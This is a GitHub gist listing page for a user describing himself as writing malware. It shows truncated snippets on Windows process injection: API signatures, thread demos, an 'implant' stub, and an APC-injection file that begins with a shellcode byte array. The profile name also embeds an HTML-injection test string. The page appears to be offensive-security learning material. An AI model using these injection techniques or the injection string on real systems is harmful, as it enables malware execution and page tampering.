Skip to content

Instantly share code, notes, and snippets.

View trevorsaudi's full-sized avatar
🔬
Writing Malware

Trevor Saudi';"/></p><h1>hey</h1> trevorsaudi

🔬
Writing Malware
219 followers · 79 following
View GitHub Profile
@trevorsaudi
trevorsaudi / GetModuleHandle.c
Created October 15, 2023 05:31
HMODULE GetModuleHandleW(
[in, optional] LPCWSTR lpModuleName // name of the loaded module , DLL or exe e.g user32.dll
);
@trevorsaudi
trevorsaudi / GetProcAddress.c
Last active October 15, 2023 05:29
FARPROC GetProcAddress(
[in] HMODULE hModule, // handle to DLL module containing the function we are looking for
[in] LPCSTR lpProcName // function name we are looking for. Can also be an ordinal value
);
@trevorsaudi
trevorsaudi / InjectQueueUserAPC.cpp
Last active August 6, 2023 18:24
InjectQueueUserAPC.cpp
#include <Windows.h>
#include <iostream>
using namespace std;
unsigned char buf[] = {
0xfc,0x48,0x81,0xe4,0xf0,0xff,0xff,0xff,0xe8,0xd0,0x00,0x00,0x00,0x41
,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60
,0x3e,0x48,0x8b,0x52,0x18,0x3e,0x48,0x8b,0x52,0x20,0x3e,0x48,0x8b,0x72
,0x50,0x3e,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac
@trevorsaudi
trevorsaudi / QueueUserAPCExample.cpp
Last active August 6, 2023 15:43
QueueUserAPCExample.cpp
#include <iostream>
#include <Windows.h>
using namespace std;
DWORD WINAPI ThreadProc(
LPVOID lpParameter
) {
wprintf(L"[%u] Thread execution has started\n", GetCurrentThreadId());
@trevorsaudi
trevorsaudi / CreateThread2.cpp
Last active August 6, 2023 14:21
#include <iostream>
#include <Windows.h>
using namespace std;
// https://learn.microsoft.com/en-us/previous-versions/windows/desktop/legacy/ms686736(v=vs.85)
DWORD WINAPI ThreadProc(
LPVOID lpParameter
) {
wprintf(L"[%u] Thread execution has started\n", GetCurrentThreadId());
@trevorsaudi
trevorsaudi / CreateThread.cpp
Created August 6, 2023 13:40
CreateThread.cpp
#include <iostream>
#include <Windows.h>
using namespace std;
// https://learn.microsoft.com/en-us/previous-versions/windows/desktop/legacy/ms686736(v=vs.85)
DWORD WINAPI ThreadProc(
LPVOID lpParameter
) {
// do some stuff
@trevorsaudi
trevorsaudi / QueueUSerAPC.cpp
Last active August 1, 2023 18:35
BOOL QueueUserAPC(
PAPCFUNC pfnAPC,
HANDLE hThread,
ULONG_PTR dwData
);
@trevorsaudi
trevorsaudi / FinalImplant.cpp
Created July 25, 2023 06:45
FinalImplant.cpp
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(void) {
void* exec_mem;
BOOL rv;
HANDLE th;
@trevorsaudi
trevorsaudi / VirtualAlloc.cpp
Created July 25, 2023 06:39
VirtualAlloc.cpp
LPVOID VirtualAlloc(
LPVOID lpAddress, // Starting address of the memory region to allocate.
SIZE_T dwSize, // Size, in bytes, of the memory region to allocate.
DWORD flAllocationType, // Type of memory allocation (e.g., MEM_COMMIT, MEM_RESERVE).
DWORD flProtect // Page protection for committed pages (e.g., PAGE_EXECUTE).
);
@trevorsaudi
trevorsaudi / MessageBox.cpp
Created July 25, 2023 06:38
MessageBox.cpp
#include <windows.h>
int main(){
// Implementing the MessageBox API
MessageBox(NULL, L"Happy Hacking", L"Greetings", MB_OK);
return 0;
}